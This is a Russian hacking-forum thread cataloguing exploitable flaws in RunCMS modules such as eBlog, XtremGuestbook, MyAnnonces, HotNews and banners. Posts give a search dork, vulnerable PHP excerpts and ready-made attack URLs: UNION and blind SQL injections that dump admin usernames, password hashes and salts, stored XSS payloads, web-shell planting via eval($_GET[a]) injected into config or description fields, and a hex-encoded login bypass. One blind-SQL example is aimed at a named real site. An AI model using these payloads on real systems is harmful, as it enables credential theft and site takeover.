[ Обзор уязвимостей RunCMS ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 20 Jan 2008.

  1. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    RunCMS Module eBlog 0.1 Blind-SQL

    Уязвимый продукт: Module eBlog
    Версия: <= 0.1
    Линк: http://www.runcms.ru/modules/files/showfile.php?lid=165
    Дорк: "inurl:modules/eblog/"

    Blind-SQL

    Уязвимость в файле index.php.
    Уязвимый кусок кода:
    PHP:
    $result $db->query("select cat_blogid from ".$db->prefix(eblog_cat)." where cat_id=$cat") or $eh->show("0013");
    Exploit:
    Code:
    true: /modules/eblog/index.php?cat=1+and+1=1
    false: /modules/eblog/index.php?cat=1+and+1=2
    Example:
    Code:
    true: http://utahvalleyonline.com/ourplace/modules/eblog/index.php?cat=12+and+substring(version(),1,1)=5
    false: http://utahvalleyonline.com/ourplace/modules/eblog/index.php?cat=12+and+substring(version(),1,1)=4
     
  2. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Уязвимости модулей RunCMS

    XtremGuestbook
    Версия:
    1.2
    Скачать: http://www.runcms.ru/modules/files/visit.php?lid=194


    SQL-INJ
    Уязвимый скрипт: /modules/xtremuserguestbook/index1.php
    Запрос: /modules/xtremuserguestbook/index1.php?gbid=2&op=Messageedit&idmsg=-1+union+select+1,uname,pwdsalt,pass,5,6,7+from+runcms_users
    Параметр gbid - айди текушего юзера
    Уязвимый кусок кода:
    Не знаю, что это за стеб, видимо тут должна была быть проверка на административные права, но получилось вот так ..
    PHP:
    $gbid intval($HTTP_GET_VARS['gbid']);
    if (
    $gbid != $xoopsUser->uid()) {
        
    redirect_header(XOOPS_URL."/",3,_NOPERM);
    }
    PHP:
    switch($op) {

    case 
    "Messageedit":
            
    Messageedit($HTTP_GET_VARS["idmsg"]);
            break;
    PHP:
    function Messageedit($idmsg) {
    global 
    $db$xoopsModule$myts$gbid;

    $result=$db->query("SELECT user_id,uname,url,email,title,message,note FROM ".$db->prefix("xtremuserguestbook")." WHERE xtremuserguestbook_id=$idmsg");
    Так же можно удалять \ редактировать \ etc сообщения

    Активная XSS
    Уязвимо поле E-mail
    [email protected]'><script>alert()</script><'

    Заливка шелла через конфиг
    Зависимость: на папку /modules/xtremuserguestbook/cache должны стоять 777 чмоды (я к примеру забыл их поставить))
    Уязвимый скрипт: /modules/xtremuserguestbook/conf.php
    Запрос: /modules/xtremuserguestbook/conf.php?gbid=2&op=Config
    Заюзаем поле _XTUG_NBMSGBYPAGE - 10;eval($_GET[a]);//
    и сохраняем настройки, они сохранятся в cache/2.php
    где 2 - наш айди
    Уязвимый кусок кода:
    Так же, как и в случае со скулей, идет не понятная проверка
    PHP:
    $gbid intval($HTTP_GET_VARS['gbid']);
    if (
    $gbid != $xoopsUser->uid()) {
        
    redirect_header(XOOPS_URL."/",3,_NOPERM);
    }
    PHP:
    function SaveConfig($unbmessage,$uallowbbcode,$uallowhtml,$uallowsmileys,$usendmail2webmaster,$umoderate,$ushowdisclaimer,$ushowlogo) {
    global $db, $myts, $HTTP_POST_VARS, $gbid;

    $fp=fopen("cache/".$gbid.".php","w");
    fwrite($fp,'<?php
    $uallowbbcode
    ='.$uallowbbcode.';
    $uallowhtml='.$uallowhtml.';
    $uallowsmileys='.$uallowsmileys.';
    $unbmsgbypage='.$unbmessage.';
    $usendmail2webmaster='.$usendmail2webmaster.';
    $umoderate='.$umoderate.';
    $ushowdisclaimer='.$ushowdisclaimer.';
    $ushowlogo='.$ushowlogo.';
    ?>');
    fclose($fp);
        redirect_header("index.php", 1, _UPDATED);
        exit();
    }

    switch($op) {

    case "Config":
            Config();
            break;

    case "SaveConfig":
            SaveConfig($nbmessage,$HTTP_POST_VARS["allowbbcode"],$HTTP_POST_VARS["allowhtml"],$HTTP_POST_VARS["allowsmileys"],$HTTP_POST_VARS["sendmail2webmaster"],$HTTP_POST_VARS["moderate"],$HTTP_POST_VARS["showdisclaimer"],$HTTP_POST_VARS["showlogo"]);
            break;
    }
    "Конфиг" после запроса будет выглядеть примерно вот так:
    PHP:
    <?php
    $uallowbbcode
    =0;
    $uallowhtml=0;
    $uallowsmileys=0;
    $unbmsgbypage=10;eval($_GET[a]);//;
    $usendmail2webmaster=0;
    $umoderate=0;
    $ushowdisclaimer=0;
    $ushowlogo=0;
    ?>
     
    1 person likes this.
  3. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    MyAnnonces
    Версия: 1.7
    Скачать: http://www.runcms.ru/modules/files/visit.php?lid=94

    SQL-INJ
    Уязвимый скрипт: addannonces.php
    Запрос: /modules/MyAnnonces/addannonces.php?op=addindex&cid=-1+union+select+pass,2+from+runcms_users
    Вместо pass поочереди подставляем uname,pwdsalt, т.к. concat заюзать не получится - срабатывает мегахаксорная зашита)
    Уязвимый кусок кода:
    Уязвимость можно проэксплуатировать только, если есть хоть 1 категория.
    PHP:
    switch($op) {    
        case 
    "addindex":
        
    addindex($cid);
        break;
    PHP:
    function addindex($cid) {
    ..............
    list(
    $numrows) = $db->fetch_row($db->query("select cid, title from ".$db->prefix("ann_categories").""));
        
        if (
    $numrows>0) {
    ..............
    $requete $db->query("select title, affprix from ".$db->prefix("ann_categories")." where  cid=".$cid."");
    list(
    $title$affprix) = $db->fetch_row($requete);
    SQL-INJ
    Уязвимый скрипт: annonces-p-f.php
    Зависимость: magic_quotes = off
    Запрос: /modules/MyAnnonces/annonces-p-f.php?op=EnvAnn&lid='+union+select+uname,pwdsalt,pass+from+runcms_users%23
    Уязивмый кусок кода:
    PHP:
    switch($op) {

        case 
    "EnvAnn":
        
    EnvAnn($lid);
        break;
    ...........
    function 
    EnvAnn($lid) {
    ...........
        
    $result $db->query("SELECT lid, title, type FROM ".$db->prefix("ann_annonces")." where lid='$lid'");
        list(
    $lid$title$type) = $db->fetch_row($result);
        

        echo 
    "<B><A HREF=\"index.php\">"._CLA_MAIN."</A> &raquo; "._CLA_SENDTO.$lid \"<B>$type : $title</B>\"

    Запрос: /modules/MyAnnonces/annonces-p-f.php?op=MailAnn&yname=&ymail=&fname=&fmail=[email protected]&lid=-1+union+select+1,pass,uname,pwdsalt,5,6,7,8,9,10,11,12,13+from+runcms_users
    На указанный email придет письмо вида
    Code:
    Hello ,
    
     thought that this advert might interest you and wanted to send it to you.
    
    admin :  dd94709528bb1c83d08f3088d4043f4742891f4f
    153a
    
    Price : 6 Ђ 7
    Email address : http://localhost/runcms/modules/MyAnnonces/contact.php?lid=1
    Telephone : 5
    Town : 11
    Country : 12
    
    Other adverts are available in teh Classified Adverts section of Mysite
    http://{SITE URL}/modules/MyAnnonces/
    
    Уязвимый кусок кода:
    PHP:
    switch($op) {
        case 
    "MailAnn":
        
    MailAnn($lid$yname$ymail$fname$fmail);
        break;
    ............
    function 
    MailAnn($lid$yname$ymail$fname$fmail) {
        global 
    $xoopsConfig$xoopsUser$db$monnaie$ynprice$myts$meta;
        
    $result $db->query("SELECT lid, title, type, description, tel, price, typeprix, date, email, submitter, town, country, photo FROM ".$db->prefix("ann_annonces")." where lid=$lid");

    Можно обойтись и без отсылки на мыло)
    Запрос: /modules/MyAnnonces/annonces-p-f.php?op=ImprAnn&lid=-1+union+select+1,pass,uname,pwdsalt,5,6,7,8,9,10,11,12,13+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    switch($op) {
        case 
    "ImprAnn":
        
    ImprAnn($lid);
        break;
    ..............
    function 
    ImprAnn($lid) {
        global 
    $xoopsConfig$db$monnaie$useroffset$claday$ynprice$myts$meta;
        
        
    $currenttheme getTheme();
        
    $result $db->query("SELECT lid, title, type, description, tel, price, typeprix, date, email, submitter, town, country, photo FROM ".$db->prefix("ann_annonces")." where lid=$lid");
    Флуд именами\паролями\явками своего \ чужого мыла
    Уязвимый скрипт: contact.php
    Зависимость: magic_quotes = off
    Запрос: /modules/MyAnnonces/contact.php?submit=1&id=-1'+union+select+'[email protected]',2,pass,uname,pwdsalt+from+runcms_users%23
    Уязвимый кусок кода:
    PHP:
    if ($submit) {
    include(
    "header.php");
    global 
    $xoopsConfig$db$myts$meta;

     
    $result $db->query("SELECT email, submitter, title, type, description FROM  ".$db->prefix("ann_annonces")." WHERE lid = '$id'");
    while(list(
    $email$submitter$titre$type$description) = $db->fetch_row($result)) {
    И на этом мне надоело, скриптов в этом модуле еще достаточно и все дырявые .. кто хочет - может добить.
     
    #23 BlackSun, 21 Feb 2009
    Last edited: 23 Feb 2009
    1 person likes this.
  4. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    BamaGalerie
    Версия: 3.0.1
    Скачать: http://www.runcms.ru/modules/files/visit.php?lid=282

    Раскрытие путей
    /modules/bamagalerie3/makegoback.php?galerieConfig[page_type]=bama_page
    /modules/bamagalerie3/navig_cat_show.php
    /modules/bamagalerie3/include/copy_one_img.php?galerieConfig[page_type]=bama_page
    ^ а так же половина скриптов с той же папки (include)

    SQL-INJ
    Уязвимый скрипт: rateimg.php
    Запрос: /modules/bamagalerie3/rateimg.php?id=-1+union+select+pass+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    if($HTTP_POST_VARS['submit']) {
    .........
    } else {
    $result=$db->query("select titre from ".$db->prefix("bamagalerie3_img")." where id=$id");
    ------------------------------------------

    MiniGal
    Версия: 0.51
    Скачать: http://www.runcms.ru/modules/files/visit.php?lid=491

    Активная XSS
    Добавить коментарий > уязвимо поле name: <script>alert()</script>

    Заливка шелла с админки модуля -
    Заливаем картинку, затем редактируем Description: <?eval($_GET[a]);?>
    Шелл будет в файле mg2db_idatabase.php
     
    #24 BlackSun, 21 Feb 2009
    Last edited: 21 Feb 2009
  5. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    MyAlbum
    Версия: 1.0
    Скачать: http://www.runcms.ru/modules/files/visit.php?lid=302

    SQL-INJ
    Уязвимый скрипт: newcomment.php
    Запрос: /modules/myalbum/newcomment.php?item_id=-1+union+select+pass+from+runcms_users%23
    Уязвимый кусок кода:
    Фактически целиком весь файл
    PHP:
    $q "select l.title from ".$db->prefix("myalbum_photos")." l, ".$db->prefix("myalbum_text")." t where l.lid=$item_id and l.lid=t.lid and status>0";
    $result=$db->query($q);
    list(
    $ltitle)=$db->fetch_row($result);
    $subject $ltitle;
    Уязвимый скрипт: photo.php
    (Скулю не добил, у меня какие то проблемы с модулем ..)
    Запрос: /modules/myalbum/photo.php?lid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13%23
    Уязвимый кусок кода:
    PHP:
    $q "select l.lid, l.cid, l.title, l.ext, l.res_x, l.res_y, l.status, l.date, l.hits, l.rating, l.votes, l.comments, t.description from ".$db->prefix("myalbum_photos")." l, ".$db->prefix("myalbum_text")." t where l.lid=$lid and l.lid=t.lid and status>0";
    $result=$db->query($q);
    list(
    $lid$cid$ltitle$ext$res_x$res_y$status$time$hits$rating$votes$comments$description)=$db->fetch_row($result);
    Уязвимый скрипт: ratephoto.php
    Запрос: /modules/myalbum/ratephoto.php?lid=-1+union+select+pass+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    if($HTTP_POST_VARS['submit']) {
    ...............
    } else {
    ..............
                
    $result=$db->query("select title from ".$db->prefix("myalbum_photos")." where lid=$lid");
            list(
    $title) = $db->fetch_row($result);
    Еще одна не добитая скуля, видимо из за корявой установки модуля ..
    Уязвимый скрипт: viewcat.php
    Запрос: /modules/myalbum/viewcat.php?cid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12%23
    Уязвимый кусок кода:
    PHP:
    $fullcountresult=$db->query("select count(*) from ".$db->prefix("myalbum_photos")." where cid=$cid and status>0");
    list(
    $numrows) = $db->fetch_row($fullcountresult);

    if(
    $numrows>0){
            
    $q "select l.lid, l.title, l.ext, l.res_x, l.res_y, l.status, l.date, l.hits, l.rating, l.votes, l.comments, t.description from ".$db->prefix("myalbum_photos")." l, ".$db->prefix("myalbum_text")." t where cid=$cid and l.lid=t.lid and status>0 order by $orderby";
            
    $result=$db->query($q,$show,$min);
     
    3 people like this.
  6. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    eBlog
    Версия: 0.3

    Заходим, создаем свой блог, добавляем запись ..

    Уязвимый скрипт: blogentry.php
    Запрос: blogentry.php?op=edit&text_id=-1+union+select+1,pass,pwdsalt,4+from+runcms_users+limit+0,1
    Где выделенная еденица - айди вашего блога
    Уязвимый кусок кода:
    PHP:
        if ($op == 'edit')
        {
            list(
    $b_id$title$txt$dt) = $db->fetch_row($db->query("select text_blogid, text_title, text_text, text_date from ".
                                                                       
    $db->prefix("eblog_text")." where text_id=$text_id"));
            if (!isSet(
    $b_id) || $b_id != $blog_id)
            {
                echo 
    $blog_id;
                return;
            }
            if (!isSet(
    $cats))
            {
                
    $result $db->query("select tc_catid from ".$db->prefix("eblog_text_cat")." where tc_textid=$text_id");
                
    $cats = array();
                while (
    $myrow $db->fetch_array($result)) { $cats += array($myrow['tc_catid']); }
            }
            
    eBlogMenu(array("index.php?blog_id=1"   => _EBLOG_MY_BLOG,
                            
    "blogentry.php?op=add"  => _EBLOG_ADD_ENTRY,
                            
    "blogadmin.php?op=edit" => _EBLOG_ADMIN,
                            
    "index.php?blog_id=-1"  => _EBLOG_CHOOSE_BLOG,
                            
    "index.php"             => _EBLOG_ALL_LATEST
                           
    )
                         );
            
    showForm(_EBLOG_EDIT_ENTRY$title$txt$all_cats$cats$text_id"");
            return;
        }
    Активная XSS
    Уязвимо поле имя блога
     
  7. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Event Calendar
    Версия: 2.4

    Уязвимый скрипт: display.php
    Запрос: /modules/ecal/display.php?year1=&month1=&day1=&katid=-1+union+select+pass,2+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    if ($katid) {
        
    $abfrage =" stamp >= \"$year1-$month1-$day1 00:00:00\" AND cid=$katid AND valid ='yes'";
        
    $kat1 $db->query("SELECT title, cid FROM ".$db->prefix("ecal_cat")." where cid=$katid");
        list(
    $kattitle) = $db->fetch_row($kat1);
    Уязвимый скрипт: localleve.php
    Запрос: /modules/ecal/localleve.php?lid=-1+union+select+pass+from+runcms_users%23
    Уязвимый кусок кода:
    PHP:
    $kat1 $db->query("SELECT location FROM ".$db->prefix("ecal_location")." where lid=$lid");
        list(
    $loctitle) = $db->fetch_row($kat1);
    Уязвимый скрипт: location.php
    Запрос: /modules/ecal/location.php?lid=-1+union+select+1,2,3,uname,5,pass,pwdsalt,8,9,10,11+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    $lid $HTTP_GET_VARS['lid'];
    $locat $db->query("SELECT * FROM ".$db->prefix("ecal_location")." where lid=".$lid);
    $location $db->fetch_array($locat);
    Уязвимый скрипт: modifevent.php
    Зависимость: magic_quotes = off
    Запрос: /modules/ecal/modifevent.php?id=-1'+union+select+1,2,uname,4,5,6,pass,pwdsalt,9,10,11,12,13,14+from+runcms_users%23
    Уязвимый кусок кода:
    PHP:
    $query $db->query("SELECT * FROM ".$db->prefix("ecal")." WHERE id = '$id' AND valid='yes'");
    $row $db->fetch_array($query);
    Уязвимый скрипт: remind.php
    Запрос: /modules/ecal/remind.php?op=remindadd&id=-1+union+select+1,2,3,4,5,6,pass,8,9,10,11,12,13,14+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    $tid   $HTTP_GET_VARS['id'];
    .......
    $query $db->query("SELECT * FROM ".$db->prefix("ecal")." WHERE id = $tid");
    $row $db->fetch_array($query);
    Уязвимый скрипт: teilnehmen.php
    Запрос: /modules/ecal/teilnehmen.php?op=teiladd&id=-1+union+select+1,2,3,4,5,6,pass,8,9,10,11,12,13,14+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    $tid   $HTTP_GET_VARS['id'];
    .......
    $query $db->query("SELECT * FROM ".$db->prefix("ecal")." WHERE id = $tid");
    $row $db->fetch_array($query);
     
    #27 BlackSun, 23 Feb 2009
    Last edited: 23 Feb 2009
  8. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Friendfinder
    Версия: 3.02

    Уязвимый скрипт: search.php
    Запрос: /modules/friendfinder/search.php?page=search&search=search&agefrom=77&agetill=19+union+select+1,uname,pwdsalt,4,0x31322e31322e31393939,pass+from+runcms_users%23&sex=&partner=&state=&category=&sort=
    Уязвимый кусок кода:
    PHP:
    if ($page == search) {

    if (
    $search == search) {

    /************************/
    $g="SUBSTRING(birth,7)";
    $m="SUBSTRING(birth,4,2)";
    $d="LEFT(birth,2)";
    $dat="CONCAT($g,'.',$m,'.',$d)";
    /************************/




    $sql "SELECT id,user, city, state, birth, title FROM ".$db->prefix("friendfinder")."
     inner join "
    .$db->prefix("friendfinder_state")."
     on state = cid
     WHERE (DATE_FORMAT(FROM_DAYS(TO_DAYS(NOW())-TO_DAYS(
    $dat)), '%Y')+0) BETWEEN $agefrom AND $agetill AND partner='$sex' AND sex='$partner' AND state='$state' AND active='1' AND category='$category' ORDER BY '$sort'";
    } else {
    echo 
    ""._TEXTSEARCHUNSUCCESSFUL."";
    }

    echo 
    "<table border=0 cellpadding=5 cellspacing=0 align=center width=550><tr><td><font face=arial size=2>"._UNAME."</td><br><td><font face=arial size=2>"._TEXTREGION."</td><td><font face=arial size=2>"._CITY."</td><td><font face=arial size=2>"._TEXTAGE."</td></tr>";
    $result $db->query($sql);
            while (list(
    $id,$user,$city,$state,$birth,$title ) = $db->fetch_row($result))
    {
    Уязвимый скрипт: view.php
    Зависимость: magic_quotes = off
    Запрос: /modules/friendfinder/view.php?id=-1'+union+select+1,uname,3,4,5,pass,7,8,9,pwdsalt,11,12,13,14,0x31322e31322e31393939,16,17,19,20,21,22+from+runcms_users%23
    Уязвимый кусок кода:
    PHP:
    if (isset($id) || $id != "")
    {
    $view $db->query("SELECT id,user,active,sex,category,name,email,city,state,country,hobby,partner,height,weight,birth,pic,Description,imgname,imgtime,date, title FROM ".$db->prefix("friendfinder")."
    inner join "
    .$db->prefix("friendfinder_state")." on state = cid WHERE id = '$id'");
            while (list(
    $id,$user,$active,$sex,$category,$name,$email,$city,$state,$country,$hobby,$partner,$height,$weight,$birth,$pic,$Description,$imgname,$imgtime,$date,$title ) = $db->fetch_row($view)) {
     
    1 person likes this.
  9. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    googlestats
    Версия: 2

    Уязвимый скрипт: info-robot.php
    Запрос: /modules/googlestats/info-robot.php?robot=-1+union+select+1,2,pass,pwdsalt,5,uname,7,8,9,10+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    $descr "descr_".$LANGUE;
    $sql  "SELECT *";
    $sql .= " FROM ".$TABLE_ROBOTS;
    $sql .= " WHERE id=".$robot;
    $res  mysql_query($sql) or erreurServeurMySQL($sql);
    if (
    $enr  mysql_fetch_array($res))
    Уязвимый скрипт: index.php
    Запрос: /modules/googlestats/index.php?rub=&robot=-1+union+select+pass+from+runcms_users%23&s=06&d=20090202
    Уязвимый кусок кода:
    PHP:
    // index.php
    if ( (getVar('rub') == 'bilan') || ($rub == '') )
    {
      
    bilan();
    }

    // ---------------------------------------------------------------------------
    // rubrique PAGES
    // ---------------------------------------------------------------------------
    else if (getVar('rub') == 'pages')
    {
      
    pages();
    }
    ............
    // lib.php
      // contenu
      
    afficherPages($robot);
    ...........
    // function afficherPages()
      
    $sql  "SELECT url, max(date) AS 'lastdate', count(id) AS 'occurrence', ip, dns";
      
    $sql .= " FROM ".$db->prefix("gs_log");
      
    $sql .= " WHERE ".$sql_date;
      
    $sql .= "   AND robot=".$robot;
      
    $sql .= " GROUP BY url";
      
    $sql .= " ORDER BY ".$tri;
      
    $res  mysql_query($sql) or erreurServeurMySQL($sql);
      if (
    mysql_num_rows($res) == 0)
     
    2 people like this.
  10. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    HotNews
    Версия: 2

    Уязвимый скрипт: rate.php
    Запрос: /modules/HotNews/rate.php?tid=-1+union+select+1,pass+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    if($HTTP_POST_VARS['submit']) {
    ........
    } else {
            include(
    XOOPS_ROOT_PATH."/header.php");
        
    OpenTable();
        
    $result=$db->query("SELECT cid, tname FROM ".$db->prefix("HotNews")." WHERE tid=$tid");
            list(
    $cid$tname) = $db->fetch_row($result);
    Уязвимый скрипт: index.php
    Запрос: /modules/HotNews/?op=viewexttutorial&tid=-1+union+select+pass+from+runcms_users
    Уязвимый кусок кода:
    PHP:
    switch($op) {

                case 
    "viewexttutorial":
                        
    viewexttutorial();
                        break;
    ...........
    function 
    viewexttutorial() {
            global 
    $db$xoopsTheme$HTTP_GET_VARS$framebrowse;
            include(
    XOOPS_ROOT_PATH."/header.php");
            
    $tid $HTTP_GET_VARS['tid'];
               
    $db->query("update ".$db->prefix("HotNews")." set hits=hits+1 where tid=$tid ");
        
    OpenTable();
            
    $result $db->query("select tlink from ".$db->prefix("HotNews")." where tid=$tid ");
        list(
    $tlink) = $db->fetch_row($result);
    Уязвимый скрипт: index.php
    Запрос: /modules/HotNews/?op=viewtutorial&tid=-1+union+select+1,2,uname,4,pass,6,7,8,9+from+runcms_users
    Уязвимый кусок кода:
    PHP:
                   case "viewtutorial":
                        
    viewtutorial();
                        break;
    ...........
    function 
    viewtutorial() {
            global 
    $xoopsConfig$xoopsUser$db$xoopsTheme$HTTP_GET_VARS$myts$content_visdefault$content_default$content_visualize$imgwidth$imgheight$framebrowse;
            include(
    XOOPS_ROOT_PATH."/header.php");

            
    $tid $HTTP_GET_VARS['tid'];
            if (
    $HTTP_GET_VARS['page']) {
                    
    $page $HTTP_GET_VARS['page'];
            } else {
                
    $db->query("update ".$db->prefix("HotNews")." set hits=hits+1 where tid=$tid ");
            }
        
    OpenTable();
            
    $result $db->query("select tid, cid, tname, timg, tcont, tauthor, codes, hits, submitter from ".$db->prefix("HotNews")." where tid=$tid ");
        list(
    $tid$cid$tname$timg$tcont$tauthor$codes$hits$submitter) = $db->fetch_row($result);
    Уязвимый скрипт: index.php
    Запрос: /modules/HotNews/?op=listHotNews&cid=-1+union+select+1,pass,3+from+runcms_users
    Уязвимый кусок кода:
    PHP:
                case "listHotNews":
                        
    listHotNews();
                        break;
    ........
    function 
    listHotNews() {
            global 
    $xoopsConfig$xoopsUser$db$xoopsTheme$myts$category_visdefault$category_visualize$category_default$columnset$imgwidth$imgheight;
            global 
    $tutorial_visdefault$tutorial_visualize$tutorial_default$HTTP_GET_VARS$framebrowse;
            include(
    XOOPS_ROOT_PATH."/header.php");
            
    $cid $HTTP_GET_VARS['cid'];
            
    $xcid $cid;
        
    OpenTable();
            
    $result $db->query("select scid, cname, cimg from ".$db->prefix("HotNews_categorys")." where cid=$cid");
            list(
    $scid$cname$cimg) = $db->fetch_row($result);
    Уязвимый скрипт: index.php
    Запрос: /modules/HotNews/?op=printpage&tid=-1+union+select+1,2,pass,4+from+runcms_users
    Уязвимый кусок кода:
    PHP:
                case "printpage":
                        
    PrintTutPage();
                        break;
    ..........
    function 
    PrintTutPage() {
               global 
    $xoopsConfig$xoopsUser$db$myts$HTTP_GET_VARS$imgwidth$imgheight;
               
    $tid $HTTP_GET_VARS['tid'];
            
    $result=$db->query("select tname, timg, tcont, codes from ".$db->prefix("HotNews")." where tid=$tid");
        list(
    $tname$timg$tcont$codes) = $db->fetch_row($result);
    Уязвимый скрипт: submit.php
    Запрос: /modules/HotNews/submit.php?op=addTutorial&cid=-1+union+select+1,uname,pass,4+from+runcms_users
    Уязвимый кусок кода:
    PHP:
                    case "addTutorial":
                            
    addTutorial();
                            break;
    .........
    function 
    addTutorial(){
            global 
    $db$xoopsConfig$xoopsUser$HTTP_GET_VARS$myts$xoopsTheme;
            include(
    XOOPS_ROOT_PATH."/header.php");

        
    $cid $HTTP_GET_VARS["cid"];
        
    $createdir $HTTP_GET_VARS["createdir"];
            
    // Add new Tutorial ------------------//
            
    $result=$db->query("select scid, cname, cdesc, cimg from ".$db->prefix("HotNews_categorys")." where cid=$cid");
            list(
    $scid,$cname,$cdesc,$cimg) = $db->fetch_row($result);
    Заливка шелла
    Уязвимый скрипт: upload.php
    Скрипт не проверяет типа файла \ расширение поэтому возможно можно залить шелл в папку images, либо в любую другую, передав соотвествующий путь в переменной img_path
    ( Хотя у меня на локале не заливались даже картинки, поэтому проверить не смог .. впрочем, если расширение и проверяется, то можно залить шелл с раширением .jpg, но img_path=/shell.php%00 )
     
  11. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    banners - дефолтный модуль RunCMS
    Версия: 1.4

    SQL-INJ
    Уязвимый скрипт: index.php
    Зависимость: magic_quotes = off
    Зависимость: Включенный модуль banners
    Вначале обойдем авторизацию
    Запрос [POST \ GET]: login=q' union select 1,2,3,0x3930303135303938336364323466623064363936336637643238653137663732#&pass=abc
    где 0x3930303135303938336364323466623064363936336637643238653137663732 - хэш от abc, переведенный в число.
    Уязвимый кусок кода:
    PHP:
    switch ($_REQUEST['op']) {
            case 
    "bannerstats":
                    
    bannerstats($_POST['login'], $_POST['pass']);
                    break;
    ..........
    function 
    bannerstats($login$pass) {
    global 
    $db$myts$xoopsConfig$meta$xoopsModule;

    $sqlpass md5($pass);
    $result  $db->query("SELECT cid, name, login, passwd  FROM ".$db->prefix("banner_clients")." WHERE login='$login' AND passwd='$sqlpass'");
    list(
    $cid$name$login$passwd) = $db->fetch_row($result);
    if (
    $sqlpass == $passwd) {
    Едем дальше, получим пароль админа:
    Уязвимый кусок кода:
    PHP:
    $result $db->query("SELECT bid, imptotal, impmade, clicks, datestart FROM ".$db->prefix("banner_items")." WHERE cid=$cid");
    // $cid - один из столбцов с предыдущего скуль-запроса
    while ( list($bid$imptotal$impmade$clicks$date) = $db->fetch_row($result) ) {
            if ( (
    $impmade == 0) || ($clicks == 0) ) {
                    
    $percent 0;
                    } else {
                            
    $percent round(100 * ($clicks/$impmade), 2);
                    }

    if ( 
    $imptotal == ) {
            
    $left _BN_UNLIMITED;
            } else {
                    
    $left = ($imptotal-$impmade);
            }

    echo 
    "
    <td class='center'>
    $bid</td>
    Получаем иньекции для второго запроса в мускул:
    -1 union select uname,0,0,0,0 from runcms_users limit 0,1
    -1 union select pass,0,0,0,0 from runcms_users limit 0,1
    -1 union select pwdsalt,0,0,0,0 from runcms_users limit 0,1
    Переведем в число:
    uname: 0x2d3120756e696f6e2073656c65637420756e616d652c302c302c302c302066726f6d2072756e636d735f7573657273206c696d697420302c31
    pass: 0x2d3120756e696f6e2073656c65637420706173732c302c302c302c302066726f6d2072756e636d735f7573657273206c696d697420302c31
    pwdsalt: 0x2d3120756e696f6e2073656c6563742070776473616c742c302c302c302c302066726f6d2072756e636d735f7573657273206c696d697420302c31

    Итого общий запрос:
    login=q' union select 0x2d3120756e696f6e2073656c65637420756e616d652c302c302c302c302066726f6d2072756e636d735f7573657273206c696d697420302c31,2,3,0x3930303135303938336364323466623064363936336637643238653137663732#&pass=abc
     
    #31 BlackSun, 25 Feb 2009
    Last edited: 25 Feb 2009
  12. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    messages - дефолтный модуль RunCMS
    Версия: 1.02

    Blind SQL-INJ
    Уязвимый скрипт: read.php и readsend.php
    Посимвольный брут
    Запрос: /modules/messages/read.php?start=0&total_messages=1&sort=msg_time+and+(select+ascii(substring(pass,1,1))+from+runcms_users+limit+0,1)>100&by=DESC
    Уязвимый кусок кода:
    PHP:
    // read.php
    $start          intval($_REQUEST['start']);
    $total_messages intval($_REQUEST['total_messages']);
    $sort             $_GET['sort'];
    $by             $_GET['by'];
    $pm_arr         =& PM::getAllPM(array("to_userid=".$xoopsUser->getVar("uid").""), true$sort$by1$start);

    // pm.class.php
    function &getAllPM($criteria=array(), $asobject=false$sort='msg_time'$order='ASC'$limit=0$start=0) {
    global 
    $db;

    $ret = array();
    $where_query '';

    if ( 
    is_array($criteria) && count($criteria) > ) {
        
    $where_query " WHERE";
        foreach ( 
    $criteria as $c ) {
            
    $where_query .= $c AND";
        }
        
    $where_query substr($where_query0, -4);
    }

    if ( !
    $asobject ) {
        
    $sql "SELECT msg_id FROM ".$db->prefix("private_msgs")."$where_query ORDER BY $sort $order";
        
    $result $db->query($sql$limit$start);
        while ( 
    $myrow $db->fetch_array($result) ) {
            
    $ret[] = $myrow['msg_id'];
        }
        } else {
            
    // как видим - нам мешает ORDER BY =\
            
    $sql "SELECT * FROM ".$db->prefix("private_msgs")."".$where_query." ORDER BY $sort $order";
            
    $result $db->query($sql$limit$start);
            while ( 
    $myrow $db->fetch_array($result) ) {
                
    $ret[] = new PM($myrow);
            }
        }

    return 
    $ret;
    }
     
    5 people like this.
  13. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Members List
    Версия: 1.1

    Уязвимый скрипт: index.php
    Запрос: /modules/memberslist/index.php?query=!')+union+select+1,pass+from+runcms_users%23
    Уязвимый кусок кода:
    PHP:
    if ( isset($query) ) {
            
